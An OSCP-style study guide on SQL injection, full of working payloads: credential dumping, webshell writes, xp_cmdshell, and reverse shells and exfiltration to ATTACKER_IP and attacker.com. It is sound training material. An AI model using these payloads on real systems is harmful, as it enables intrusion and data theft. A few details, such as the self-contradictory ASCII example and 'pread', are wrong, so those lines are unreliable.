Domain 2Web App AttacksCORE

SQL Injection Attacks

Study notes for SQL Injection Attacks covering key PEN-200 methodology and lab techniques.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-05
#SQL Injection Attacks#PEN-200

SQL Injection Attacks — OSCP Study Guide

Author: OSCP Research Guide | Last Updated: 2026-08-31 Difficulty: Intermediate | Prerequisites: Web fundamentals, HTTP protocol, basic SQL knowledge


Table of Contents

  1. Introduction to SQL Injection
  2. How SQL Injection Works
  3. SQL Injection Types
  4. SQL Injection Detection Methods
  5. Manual SQL Injection Testing Techniques
  6. Automated SQL Injection Tools
  7. Extracting Database Schema Information
  8. Extracting Data from Databases
  9. Writing and Reading Files via SQLi
  10. Command Execution via SQLi
  11. Bypassing Authentication via SQLi
  12. SQLi in Different Databases
  13. WAF Bypass Techniques
  14. NoSQL Injection Basics
  15. Stored Procedure Injection
  16. Prevention and Mitigation
  17. Quick Reference Cheat Sheet

1. Introduction to SQL Injection

What is SQL Injection?

  • SQL Injection (SQLi) is a code injection technique
  • Attackers insert malicious SQL code into input fields
  • The database executes the injected code as legitimate SQL
  • One of the oldest and most dangerous web vulnerabilities
  • OWASP Top 10 consistent inclusion since 2003

Impact Matrix

Impact Level Description Example
Low Information disclosure Database version, table names
Medium Data theft User credentials, PII, financial data
High Data manipulation Insert, update, delete records
Critical Full system compromise RCE via database functions, file access

Attack Surface

graph LR
    A[User Input] --> B{Input Validation?}
    B -->|None/Weak| C[SQL Query Construction]
    B -->|Strong| D[Safe Query]
    C --> E[Database Execution]
    E --> F[Malicious Result]
    F --> G[Data Theft]
    F --> H[RCE]
    F --> I[Auth Bypass]
    F --> J[File Access]

2. How SQL Injection Works

Core Mechanics

  • Applications build SQL queries by concatenating user input
  • The database cannot distinguish between intended code and injected code
  • The injection point is where user input enters the SQL string

The Vulnerable Pattern

-- Developer intent:
SELECT * FROM users WHERE username = '$user_input';

-- Attacker input: admin'--
-- Resulting query:
SELECT * FROM users WHERE username = 'admin'--';
-- The '--' comments out the rest, authenticating as 'admin'

Injection Point Types

Point Type Location Example
GET parameters URL query string ?id=1' OR 1=1--
POST parameters Form body username=admin'--
HTTP headers Cookie, User-Agent, Referer Cookie: id=1 UNION SELECT...
URL path Path segment /product/1' OR 1=1--
File uploads Filename metadata file=report.csv'; DROP TABLE--

The SQL Injection Kill Chain

sequenceDiagram
    participant A as Attacker
    participant W as Web App
    participant D as Database
    participant S as Server

    A->>W: 1. Send malicious input
    W->>D: 2. Execute tainted SQL query
    D->>W: 3. Return query results
    W->>A: 4. Display/error response
    A->>A: 5. Parse response for data
    A->>W: 6. Iterate with new payloads
    loop Until data extracted
        W->>D: Execute next query
        D->>W: Return results
        W->>A: Return response
    end
    A->>S: 7. Escalate (RCE/files)

Error-Based Information Leakage

  • Database errors reveal internal structure
  • Error messages expose table names, column names, and data types
  • Different databases produce different error signatures
Database Error Characteristic Info Revealed
MySQL You have an error in your SQL syntax... Table/column names, version
MSSQL Incorrect syntax near... Schema details, server info
PostgreSQL ERROR: column "X" does not exist Column names, types
Oracle ORA-009xx: missing or invalid option Object names, privileges

3. SQL Injection Types

3.1 Overview Classification

graph TD
    A[SQL Injection] --> B[In-Band SQLi]
    A --> C[Blind SQLi]
    A --> D[Out-of-Band SQLi]
    A --> E[Second-Order SQLi]
    
    B --> B1[Error-Based]
    B --> B2[Union-Based]
    
    C --> C1[Boolean-Based]
    C --> C2[Time-Based]
    
    D --> D1[DNS Exfiltration]
    D --> D2[HTTP Exfiltration]

3.2 In-Band (Classic) SQLi

Definition: The attacker uses the same channel to launch the attack and gather results.

Error-Based SQLi

  • Database errors directly return to the application
  • Errors contain useful information about the database structure
  • Fastest method when available

Detection:

  • Inject single quote ' — look for SQL errors
  • Inject double quote " — check for different errors
  • Inject backslash \ — observe escaping behavior

Example Payloads:

-- Basic error trigger
?id=1'

-- Force type mismatch error
?id=1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)

-- Extract data via error
?id=1 AND extractvalue(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables LIMIT 1)))

Union-Based SQLi

  • Uses the UNION operator to combine results
  • The injected query results merge with the original query
  • Requires matching column count and compatible types

Step-by-Step Process:

Step Payload Purpose
1 ?id=1' ORDER BY 10-- Find column count (increase until error)
2 ?id=1' ORDER BY 5-- Narrow down (binary search)
3 ?id=-1 UNION SELECT 1,2,3,4,5-- Identify which columns display
4 ?id=-1 UNION SELECT 1,version(),3,4,5-- Extract data from visible columns

Example Flow:

-- Step 1: Determine column count
?id=1' ORDER BY 1--    [OK]
?id=1' ORDER BY 5--    [OK]
?id=1' ORDER BY 6--    [ERROR: Unknown column '6']
-- Result: 5 columns

-- Step 2: Find displayable columns
?id=-1 UNION SELECT 1,2,3,4,5--
-- Page shows: "2" and "4" are visible

-- Step 3: Extract database info
?id=-1 UNION SELECT 1,version(),3,database(),5--
-- Shows: "5.7.32" and "webapp_db"

-- Step 4: Extract table names
?id=-1 UNION SELECT 1,table_name,3,column_name,5 FROM information_schema.columns WHERE table_schema=database()--

3.3 Blind/Boolean-Based SQLi

Definition: No direct SQL output is visible. The attacker infers data from true/false responses.

How It Works:

  • Inject boolean conditions into the query
  • Observe differences in page response
  • True condition → page shows data / behaves normally
  • False condition → page is empty / behaves differently

Character-by-Character Extraction:

-- Extract database name character by character
?id=1' AND SUBSTRING(database(),1,1)='w'--    [TRUE]
?id=1' AND SUBSTRING(database(),1,1)='x'--    [FALSE]
?id=1' AND SUBSTRING(database(),2,1)='e'--    [TRUE]

-- Extract using ASCII comparison (faster)
?id=1' AND ASCII(SUBSTRING(database(),1,1))>100--  [TRUE]
?id=1' AND ASCII(SUBSTRING(database(),1,1))>120--  [TRUE]
?id=1' AND ASCII(SUBSTRING(database(),1,1))>122--  [FALSE]
-- Character is between 121-122, so it's 'w' (119)

Binary Search Method:

graph LR
    A[Target char at pos N] --> B[ASCII > 127?]
    B -->|Yes| C[ASCII > 159?]
    B -->|No| D[ASCII > 95?]
    C --> E[Narrow range]
    D --> E
    E --> F[Continue binary search]
    F --> G[Identify exact ASCII]
    G --> H[Convert to character]

Common Boolean Payloads:

-- Basic true/false test
?id=1' AND 1=1--    [TRUE - page normal]
?id=1' AND 1=2--    [FALSE - page different]

-- Check if table exists
?id=1' AND EXISTS(SELECT * FROM users)--

-- Check column length
?id=1' AND LENGTH((SELECT password FROM users LIMIT 1))>10--

-- Extract username length
?id=1' AND (SELECT LENGTH(username) FROM users LIMIT 1)=5--

3.4 Time-Based Blind SQLi

Definition: No visible output difference. The attacker uses time delays to infer data.

When to Use:

  • Boolean-based responses are indistinguishable
  • Page content is dynamic or randomized
  • Error messages are suppressed

MySQL Time-Based Payloads:

-- Basic time delay test
?id=1' AND SLEEP(5)--
?id=1' AND IF(1=1, SLEEP(5), 0)--

-- Conditional delay (extract data)
?id=1' AND IF(SUBSTRING(database(),1,1)='w', SLEEP(5), 0)--

-- Using BENCHMARK (CPU-based delay)
?id=1' AND IF(1=1, BENCHMARK(10000000, SHA1('test')), 0)--

-- Extracting via binary search with time
?id=1' AND IF(ASCII(SUBSTRING(database(),1,1))>100, SLEEP(5), 0)--

MSSQL Time-Based Payloads:

-- WAITFOR DELAY
?id=1'; WAITFOR DELAY '0:0:5'--

-- Conditional delay
?id=1'; IF(SUBSTRING(DB_NAME(),1,1)='w') WAITFOR DELAY '0:0:5'--

PostgreSQL Time-Based Payloads:

-- pg_sleep
?id=1' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--

-- Conditional
?id=1' AND (SELECT CASE WHEN (SUBSTRING(current_database(),1,1)='w') THEN pg_sleep(5) ELSE pg_sleep(0) END)--

Time-Based Extraction Algorithm:

flowchart TD
    A[Start extraction] --> B[Set position = 1]
    B --> C[Set low = 32, high = 126]
    C --> D{low < high?}
    D -->|No| E[Move to next position]
    D -->|Yes| F[mid = low + high / 2]
    F --> G[Send: IF ASCII char at pos > mid SLEEP 5]
    G --> H{Response delayed?}
    H -->|Yes| I[low = mid + 1]
    H -->|No| J[high = mid]
    I --> D
    J --> D
    E --> K{More chars?}
    K -->|Yes| B
    K -->|No| L[Extraction complete]

3.5 Out-of-Band (OAST) SQLi

Definition: Data is exfiltrated through an alternative channel (DNS, HTTP).

When to Use:

  • No response channel available
  • Strict output filtering
  • Firewall blocks direct data return

DNS-Based Exfiltration (MySQL):

-- Load data from DNS query
?id=1' AND (SELECT LOAD_FILE(CONCAT('\\\\', (SELECT version()), '.attacker.com\\test')))--

-- Using xp_dirtree (MSSQL)
?id=1'; EXEC master..xp_dirtree '\\$(SELECT system_user).attacker.com\share'--

HTTP-Based Exfiltration (MSSQL):

-- Using OLE Automation
?id=1'; DECLARE @p INT; EXEC sp_oacreate 'MSXML2.ServerXMLHTTP', @p OUT; EXEC sp_oamethod @p, 'open', NULL, 'GET', 'http://attacker.com/?data=' + (SELECT TOP 1 password FROM users), false; EXEC sp_oamethod @p, 'send'--

Using Burp Collaborator:

1. Open Burp Suite → Burp Collaborator tab
2. Click "Copy to clipboard" to get collaborator payload
3. Inject into SQL query:
   ?id=1' AND (SELECT LOAD_FILE(CONCAT('\\\\',collaborator.payload.attacker.com\\test')))--
4. Click "Poll now" to check for DNS/HTTP callbacks

3.6 Second-Order SQLi

Definition: Malicious input is stored safely but executed later in a different query.

Attack Flow:

sequenceDiagram
    participant A as Attacker
    participant W as Web App
    participant D as Database
    
    Note over A,D: Phase 1 - Plant the payload
    A->>W: Register username: admin'--
    W->>D: INSERT INTO users (username) VALUES ('admin''--')
    D->>W: Insert successful
    W->>A: Registration confirmed
    
    Note over A,D: Phase 2 - Trigger the payload
    A->>W: Login as normal user
    W->>D: SELECT * FROM users WHERE last_login_user='admin''--'
    D->>W: Returns admin record (commented out WHERE)
    W->>A: Admin dashboard access

Common Storage Points:

  • User registration (username, email, bio)
  • Profile update fields
  • Comment/message boards
  • Configuration settings
  • Search history

Detection Strategy:

  1. Register with SQL payload in all fields
  2. Monitor application behavior after registration
  3. Trigger stored data through profile views, search, admin panels
  4. Look for delayed errors or unexpected behavior

3.7 Union-Based SQLi (Detailed)

Prerequisites:

  • Original query and injected query must have same number of columns
  • Data types must be compatible (or use NULL/cast)
  • The original query result should be empty (use negative ID)

Advanced UNION Techniques:

-- Using NULL for type flexibility
?id=-1 UNION SELECT NULL,NULL,NULL,NULL,NULL--

-- Casting to match types
?id=-1 UNION SELECT CAST(version() AS CHAR),NULL,NULL,NULL,NULL--

-- Extracting all tables
?id=-1 UNION SELECT table_schema,table_name,NULL,NULL,NULL FROM information_schema.tables--

-- Extracting all columns from a table
?id=-1 UNION SELECT table_name,column_name,data_type,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

-- Extracting user data
?id=-1 UNION SELECT username,password,email,role,id FROM users--

4. SQL Injection Detection Methods

4.1 Manual Detection Checklist

Test Payload Expected Response
Single quote ' SQL error or filtered
Double quote " SQL error or filtered
Quote + comment '-- Query truncation
Quote + OR true ' OR '1'='1 All records returned
Quote + AND false ' AND '1'='2 No records returned
Numeric + OR 1 OR 1=1 All records returned
Numeric + AND 1 AND 1=2 No records returned
UNION test ' UNION SELECT NULL-- Column count error
Time delay '; WAITFOR DELAY '0:0:5'-- Response delayed
Backslash \ Escaping behavior

4.2 Automated Detection Tools

Tool Type Key Features
sqlmap CLI Full automation, all databases, tamper scripts
Burp Suite Pro GUI Scanner, intruder, repeater
Acunetix Commercial Full web scanner with SQLi modules
Nikto CLI Web server scanner, basic SQLi checks
SQLmap-gui GUI Graphical interface for sqlmap
Arjun CLI Hidden parameter discovery

4.3 Parameter Discovery

# Find hidden parameters with Arjun
arjun -u "https://target.com/page.php"

# Find hidden parameters with ParamMiner (Burp extension)
# Install via BApp Store → Run on target URL

# Manual header injection
# Test User-Agent, Cookie, Referer, X-Forwarded-For headers

5. Manual SQL Injection Testing Techniques

5.1 Systematic Testing Methodology

flowchart TD
    A[Identify input points] --> B[Test for injection]
    B --> C{Vulnerable?}
    C -->|No| D[Move to next input]
    C -->|Yes| E[Determine SQLi type]
    E --> F{Error visible?}
    F -->|Yes| G[Error-Based / Union-Based]
    F -->|No| H{Boolean diff visible?}
    H -->|Yes| I[Boolean-Based Blind]
    H -->|No| J{Time delay works?}
    J -->|Yes| K[Time-Based Blind]
    J -->|No| L[Out-of-Band / OAST]
    G --> M[Extract schema]
    I --> M
    K --> M
    L --> M
    M --> N[Extract data]
    N --> O[Escalate if possible]

5.2 Step-by-Step Manual Exploitation

Phase 1: Reconnaissance

-- Test injection point
?id=1'

-- Determine database type from error
?id=1' AND 1=CONVERT(int, (SELECT @@version))--    [MSSQL]
?id=1' AND 1=UNHEX(HEX((SELECT version())))--       [MySQL]

-- Check user privileges
?id=1' AND (SELECT current_user)='root'--

Phase 2: Column Enumeration

-- Find column count via ORDER BY
?id=1' ORDER BY 1--    [OK]
?id=1' ORDER BY 2--    [OK]
?id=1' ORDER BY 3--    [OK]
?id=1' ORDER BY 4--    [ERROR]
-- Columns: 3

-- Find column count via UNION
?id=-1 UNION SELECT 1,2,3--    [OK if 3 columns]

Phase 3: Data Extraction

-- Database version
?id=-1 UNION SELECT 1,version(),3--

-- Current user
?id=-1 UNION SELECT 1,current_user,3--

-- Database name
?id=-1 UNION SELECT 1,database(),3--

-- All tables
?id=-1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database()--

-- Columns of specific table
?id=-1 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--

-- Data from table
?id=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3 FROM users--

Phase 4: Escalation

-- Read files (MySQL)
?id=-1 UNION SELECT 1,LOAD_FILE('/etc/passwd'),3--

-- Write files (MySQL)
?id=-1 UNION SELECT 1,'<?php system($_GET["cmd"]);?>',3 INTO OUTFILE '/var/www/shell.php'--

-- Execute commands (MSSQL)
?id=1'; EXEC xp_cmdshell('whoami')--

5.3 Burp Suite Manual Testing Workflow

1. Intercept request in Proxy
2. Send to Repeater
3. Test basic payloads:
   - Add ' to parameter
   - Add ' OR 1=1--
   - Add ' UNION SELECT NULL--
4. Analyze responses
5. Send to Intruder for enumeration:
   - Pitchfork or Sniper attack
6. Use Comparer to diff responses

6. Automated SQL Injection Tools

6.1 SQLMap — The Swiss Army Knife

Installation

# Clone from GitHub
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap

# Or via pip
pip install sqlmap

Basic Usage

# Basic scan
sqlmap -u "https://target.com/page.php?id=1"

# Specify parameter
sqlmap -u "https://target.com/page.php?id=1" -p id

# POST request
sqlmap -u "https://target.com/login.php" --data="username=admin&password=pass"

# From Burp log file
sqlmap -r request.txt

# From curl command
sqlmap --curl="curl -v 'https://target.com/page?id=1'"

Detection and Enumeration

# Detect injection type
sqlmap -u "https://target.com/page.php?id=1" --batch

# Enumerate database
sqlmap -u "https://target.com/page.php?id=1" --dbs

# Enumerate tables in specific database
sqlmap -u "https://target.com/page.php?id=1" -D webapp --tables

# Enumerate columns
sqlmap -u "https://target.com/page.php?id=1" -D webapp -T users --columns

# Dump data
sqlmap -u "https://target.com/page.php?id=1" -D webapp -T users -C username,password --dump

# Dump specific row
sqlmap -u "https://target.com/page.php?id=1" -D webapp -T users -C username,password --dump -where "username='admin'"

Advanced Options

# OS shell access
sqlmap -u "https://target.com/page.php?id=1" --os-shell

# SQL shell
sqlmap -u "https://target.com/page.php?id=1" --sql-shell

# Windows command shell
sqlmap -u "https://target.com/page.php?id=1" --os-pwn

# Meterpreter session
sqlmap -u "https://target.com/page.php?id=1" --os-pwn -o

# PHP webshell
sqlmap -u "https://target.com/page.php?id=1" --os-cmd "whoami"

# Custom injection technique
sqlmap -u "https://target.com/page.php?id=1" --technique=B    [Boolean blind]
sqlmap -u "https://target.com/page.php?id=1" --technique=T    [Time blind]
sqlmap -u "https://target.com/page.php?id=1" --technique=U    [Union]
sqlmap -u "https://target.com/page.php?id=1" --technique=E    [Error]

# Tamper scripts for WAF bypass
sqlmap -u "https://target.com/page.php?id=1" --tamper=space2comment,unionalltounion

# Multiple tamper scripts
sqlmap -u "https://target.com/page.php?id=1" --tamper=space2dash,charencode,equaltolike

# Custom user-agent
sqlmap -u "https://target.com/page.php?id=1" --random-agent

# Delay between requests
sqlmap -u "https://target.com/page.php?id=1" --delay=2

# Threads for faster extraction
sqlmap -u "https://target.com/page.php?id=1" --threads=5

# Risk and level
sqlmap -u "https://target.com/page.php?id=1" --level=5 --risk=3

SQLMap Tamper Scripts Reference

Script Purpose Bypasses
space2comment Replaces spaces with /**/ Basic WAF
space2dash Replaces spaces with -- + newline Comment filters
charencode URL-encodes all characters Encoding filters
equaltolike Replaces = with LIKE Equals filters
apostrophemask Replaces ' with %27 Quote filters
unionalltounion Replaces UNION ALL SELECT with UNION SELECT Union filters
modsecurityversioned Appends versioned comments ModSecurity
between Replaces > with NOT BETWEEN Comparison filters
halfversionedmorekeywords Adds MySQL version comments Keyword filters
bluecoat Replaces spaces after SQL statements BlueCoat WAF
generic evasion Multiple evasion techniques Generic WAFs

6.2 SQLMap Output and Results

# Results stored in:
~/.sqlmap/output/

# Dumped data saved as CSV:
~/.sqlmap/output/target.com/dump/webapp/users.csv

# Session file for resuming:
~/.sqlmap/output/target.com/session

6.3 Other Tools

sqlninja (MSSQL focused)

# Take over MSSQL connection
sqlninja -u "https://target.com/page.asp?id=1" -k

# OS shell via MSSQL
sqlninja -u "https://target.com/page.asp?id=1" -s

NoSQLMap (MongoDB)

# Test MongoDB injection
nosqlmap -u "https://target.com/api/user?id=1" --method=POST --data='{"id":"1"}' --tech='b'

7. Extracting Database Schema Information

7.1 MySQL Schema Extraction

-- Database version
SELECT version();

-- Current user and privileges
SELECT user();
SELECT current_user();
SHOW GRANTS;

-- All databases
SELECT schema_name FROM information_schema.schemata;

-- All tables in current database
SELECT table_name FROM information_schema.tables WHERE table_schema=database();

-- All tables across all databases
SELECT table_schema, table_name FROM information_schema.tables;

-- Columns of a specific table
SELECT column_name, data_type, column_type 
FROM information_schema.columns 
WHERE table_name='users' AND table_schema=database();

-- Privileged users
SELECT user, host, password FROM mysql.user;

-- File privileges check
SELECT file_priv FROM mysql.user WHERE user=current_user();

7.2 MSSQL Schema Extraction

-- Server version
SELECT @@version;

-- Current user
SELECT SYSTEM_USER;
SELECT USER_NAME();

-- All databases
SELECT name FROM master..sysdatabases;
-- Or
SELECT name FROM sys.databases;

-- All tables
SELECT name FROM sysobjects WHERE xtype='U';
-- Or
SELECT table_name FROM information_schema.tables;

-- Columns of a table
SELECT column_name, data_type FROM information_schema.columns WHERE table_name='users';

-- Is user DBA?
SELECT IS_SRVROLEMEMBER('sysadmin');

-- All logins
SELECT name FROM master..syslogins;

7.3 PostgreSQL Schema Extraction

-- Version
SELECT version();

-- Current user
SELECT current_user;
SELECT session_user;

-- All databases
SELECT datname FROM pg_database;

-- All tables
SELECT table_name FROM information_schema.tables WHERE table_schema='public';

-- All tables with schema
SELECT schemaname, tablename FROM pg_tables;

-- Columns
SELECT column_name, data_type FROM information_schema.columns WHERE table_name='users';

-- Roles and privileges
SELECT rolname, rolsuper FROM pg_roles;

7.4 Oracle Schema Extraction

-- Version
SELECT banner FROM v$version;

-- Current user
SELECT user FROM dual;

-- All tables
SELECT table_name FROM all_tables;

-- Current user's tables
SELECT table_name FROM user_tables;

-- Columns
SELECT column_name, data_type FROM all_tab_columns WHERE table_name='USERS';

-- Users
SELECT username FROM all_users;

7.5 Schema Extraction Comparison Table

Information MySQL MSSQL PostgreSQL Oracle
Version version() @@version version() v$version
Current User user() SYSTEM_USER current_user user FROM dual
Databases information_schema.schemata sys.databases pg_database N/A (schemas)
Tables information_schema.tables sysobjects pg_tables all_tables
Columns information_schema.columns information_schema.columns information_schema.columns all_tab_columns
Users mysql.user syslogins pg_roles all_users

8. Extracting Data from Databases

8.1 UNION-Based Data Extraction

-- Extract all usernames and passwords
?id=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3 FROM users--

-- Extract with GROUP_CONCAT (all in one row)
?id=-1 UNION SELECT 1,GROUP_CONCAT(username,0x3a,password SEPARATOR 0x3c62723e),3 FROM users--

-- Extract with LIMIT for pagination
?id=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3 FROM users LIMIT 0,1--
?id=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3 FROM users LIMIT 1,1--

8.2 Boolean-Based Data Extraction

-- Extract password hash character by character
?id=1' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='e'--
?id=1' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),2,1)='9'--

-- Using ASCII binary search
?id=1' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>100--

8.3 Time-Based Data Extraction

-- Extract via conditional sleep
?id=1' AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))=101, SLEEP(5), 0)--

-- Binary search approach
?id=1' AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>90, SLEEP(5), 0)--

8.4 Bulk Data Extraction Techniques

Technique Speed Stealth Best For
UNION + GROUP_CONCAT Fast Low Small-medium datasets
UNION + LIMIT Medium Medium Large datasets
Boolean blind Slow High When UNION not available
Time-based Very slow Highest When no output channel
sqlmap –dump Fast Low Automated extraction

8.5 Handling Large Datasets

-- Use LIMIT with OFFSET for pagination
?id=-1 UNION SELECT 1,username,3 FROM users LIMIT 0,50--
?id=-1 UNION SELECT 1,username,3 FROM users LIMIT 50,50--

-- Use subquery with row numbering
?id=-1 UNION SELECT 1,username,3 FROM (SELECT username, @row:=@row+1 as row_num FROM users, (SELECT @row:=0) r) t WHERE row_num BETWEEN 1 AND 50--

-- Use GROUP_CONCAT with custom separator
?id=-1 UNION SELECT 1,GROUP_CONCAT(username SEPARATOR CHAR(10)),3 FROM users--

9. Writing and Reading Files via SQLi

9.1 MySQL File Operations

Reading Files

-- Read a file
?id=-1 UNION SELECT 1,LOAD_FILE('/etc/passwd'),3--

-- Read Windows file
?id=-1 UNION SELECT 1,LOAD_FILE('C:\\Windows\\win.ini'),3--

-- Read with hex encoding (bypass filters)
?id=-1 UNION SELECT 1,LOAD_FILE(0x2F6574632F706173737764),3--

Prerequisites:

  • FILE privilege required
  • secure_file_priv must allow the path (or be NULL/empty)
-- Check secure_file_priv
SHOW VARIABLES LIKE 'secure_file_priv';

-- Check file privilege
SELECT file_priv FROM mysql.user WHERE user=USER();

Writing Files

-- Write a PHP webshell
?id=-1 UNION SELECT 1,'<?php system($_GET["cmd"]);?>',3 INTO OUTFILE '/var/www/html/shell.php'--

-- Write to Windows
?id=-1 UNION SELECT 1,'<?php system($_GET["cmd"]);?>',3 INTO OUTFILE 'C:\\xampp\\htdocs\\shell.php'--

-- Write with LINE TERMINATED BY (avoid trailing newline issues)
?id=-1 UNION SELECT 1,'<?php system($_GET["cmd"]);?>',3 INTO OUTFILE '/var/www/shell.php' LINES TERMINATED BY 0x00--

Prerequisites:

  • FILE privilege required
  • Target file must not already exist
  • Know the absolute web path

Finding Web Paths

-- Common Linux paths
/var/www/html/
/var/www/
/var/www/vhosts/target.com/httpdocs/
/home/public_html/
/srv/www/

-- Common Windows paths
C:\xampp\htdocs\
C:\wamp64\www\
C:\inetpub\wwwroot\
C:\Apache24\htdocs\

9.2 MSSQL File Operations

-- Read file via OPENROWSET
?id=1'; SELECT * FROM OPENROWSET(BULK 'C:\windows\win.ini', SINGLE_CLOB) AS x--

-- Write file via bcp (external)
bcp "SELECT shell_content FROM webapp.dbo.payload" queryout "C:\xampp\htdocs\shell.asp" -S server -U user -P pass

-- xp_cmdshell file operations
?id=1'; EXEC xp_cmdshell('type C:\windows\win.ini')--
?id=1'; EXEC xp_cmdshell('echo ^<% Execute(Request("cmd")) %^> > C:\xampp\htdocs\shell.asp')--

9.3 PostgreSQL File Operations

-- Read file
?id=1' UNION SELECT 1,pread('/etc/passwd', 1000),3--

-- Write file (requires superuser)
?id=1'; COPY (SELECT '<?php system($_GET["cmd"]);?>') TO '/var/www/shell.php'--

-- Using pg_read_file
?id=1' UNION SELECT 1,pg_read_file('/etc/passwd', 0, 1000),3--

9.4 File Operation Summary

Operation MySQL MSSQL PostgreSQL Oracle
Read file LOAD_FILE() OPENROWSET(BULK) pg_read_file() UTL_FILE
Write file INTO OUTFILE bcp / xp_cmdshell COPY TO UTL_FILE
Privilege needed FILE sysadmin superuser DBA
Path disclosure Error messages Error messages Error messages Error messages

10. Command Execution via SQLi

10.1 MySQL Command Execution

Via UDF (User Defined Function)

-- Step 1: Create UDF library
?id=-1 UNION SELECT 1,hex(unhex('UDF_LIBRARY_CONTENT')),3 INTO OUTFILE '/usr/lib/mysql/plugin/sys_exec.so'--

-- Step 2: Create function
?id=1'; CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'sys_exec.so'--

-- Step 3: Execute command
?id=1'; SELECT sys_exec('id')--

-- Step 4: Clean up
?id=1'; DROP FUNCTION sys_exec--

Via INTO OUTFILE (Webshell)

-- Write PHP reverse shell
?id=-1 UNION SELECT 1,'<?php exec("/bin/bash -c ''bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1''");?>',3 INTO OUTFILE '/var/www/html/reverse.php'--

-- Access the shell:
curl http://target.com/reverse.php

Via Log File

-- Change general log to web directory
?id=1'; SET GLOBAL general_log_file='/var/www/html/shell.php';
?id=1'; SET GLOBAL general_log='ON';

-- Write PHP code via log
?id=<?php system($_GET['cmd']); ?>

-- Access shell
curl "http://target.com/shell.php?cmd=id"

-- Clean up
?id=1'; SET GLOBAL general_log='OFF';

10.2 MSSQL Command Execution

xp_cmdshell

-- Enable xp_cmdshell
?id=1'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE--

-- Execute command
?id=1'; EXEC xp_cmdshell 'whoami'--

-- Capture output
?id=1'; CREATE TABLE results(output TEXT); INSERT INTO results EXEC xp_cmdshell 'whoami'--
?id=-1 UNION SELECT 1,output,3 FROM results--

-- Reverse shell
?id=1'; EXEC xp_cmdshell 'powershell -c "$client = New-Object System.Net.Sockets.TCPClient(''ATTACKER'',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (New-Object -TypeName System.Text.ASCIIEncoding).GetBytes((Invoke-Command {cmd /c $data} 2>&1 | Out-String )+$prompt);$stream.Write($sendback, 0, $sendback.Length);$stream.Flush()};$client.Close()"'--

OLE Automation

-- Enable OLE Automation
?id=1'; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE--

-- Execute via OLE
?id=1'; DECLARE @o INT, @f INT, @t INT, @ret INT; EXEC sp_oacreate 'scripting.filesystemobject', @f OUT; EXEC sp_oamethod @f, 'opentextfile', @t OUT, 'C:\result.txt', 2, 1; EXEC sp_oamethod @t, 'writeline', NULL, '<% Response.Write("Shell") %>'--

10.3 PostgreSQL Command Execution

-- Via pg_ls_dir (read directory)
?id=1' UNION SELECT 1,pg_ls_dir('.'),3--

-- Via copy (write file)
?id=1'; COPY (SELECT '<?php system($_GET["cmd"]);?>') TO '/var/www/shell.php'--

-- Via extension loading (if possible)
?id=1'; CREATE EXTENSION IF NOT EXISTS dblink;
?id=1'; SELECT dblink_connect('host=attacker.com dbname=test user=test password=test');

10.4 Command Execution Comparison

Method MySQL MSSQL PostgreSQL Difficulty
Built-in function UDF xp_cmdshell Limited Medium-High
Webshell INTO OUTFILE xp_cmdshell COPY TO Low-Medium
Log manipulation General log Error log N/A Medium
Reverse shell Via webshell Direct Via webshell Medium
Privilege needed FILE sysadmin superuser Varies

11. Bypassing Authentication via SQLi

11.1 Common Authentication Bypass Payloads

Technique Payload Description
Comment out password admin'-- Comments out password check
Tautology ' OR '1'='1 Always true condition
OR true ' OR 1=1-- Always true numeric
Admin ID 1 OR 1=1 Numeric ID bypass
Union admin -1 UNION SELECT 1,'admin','hash',3-- Inject admin row
Wide byte %bf' OR 1=1-- GBK encoding bypass
Hex encoding 0x61646d696e Bypass string filters

11.2 Login Form Bypass Examples

-- Username field injection
Username: admin'--
Password: (anything)

-- Both fields injection
Username: ' OR 1=1--
Password: ' OR 1=1--

-- Password field only
Username: admin
Password: ' OR '1'='1

-- Hash comparison bypass
Username: admin
Password: ' OR SUBSTRING(password,1,1)='a'--

-- Extract password hash first, then crack
Username: -1' UNION SELECT 1,username,password,4 FROM users--
Password: (cracked hash)

11.3 Registration Bypass

-- Register as admin
Username: attacker
Email: attacker@test.com
Role: admin'--    [if role is injectable]

-- Register with elevated privileges
Username: attacker' UNION SELECT 1,'attacker','hash','admin',5--

11.4 Password Reset Bypass

-- Token manipulation
?token=1' OR 1=1--

-- Email field injection during reset
Email: victim@email.com' UNION SELECT 1,'attacker@email.com',3--

12. SQLi in Different Databases

12.1 MySQL / MariaDB

Key Characteristics

Feature Details
Comment styles -- , #, /* */
String concat CONCAT(a,b), `a
String char CHAR(65) = ‘A’
Substr SUBSTRING(str,pos,len), MID(), SUBSTR()
Sleep SLEEP(seconds)
Benchmark BENCHMARK(count,expr)
Info schema information_schema.tables, .columns, .schemata
File read LOAD_FILE(path)
File write INTO OUTFILE path, INTO DUMPFILE path

MySQL-Specific Payloads

-- Extract via error (extractvalue)
?id=1 AND extractvalue(1,CONCAT(0x7e,(SELECT version()),0x7e))--

-- Extract via error (updatexml)
?id=1 AND updatexml(1,CONCAT(0x7e,(SELECT version()),0x7e),1)--

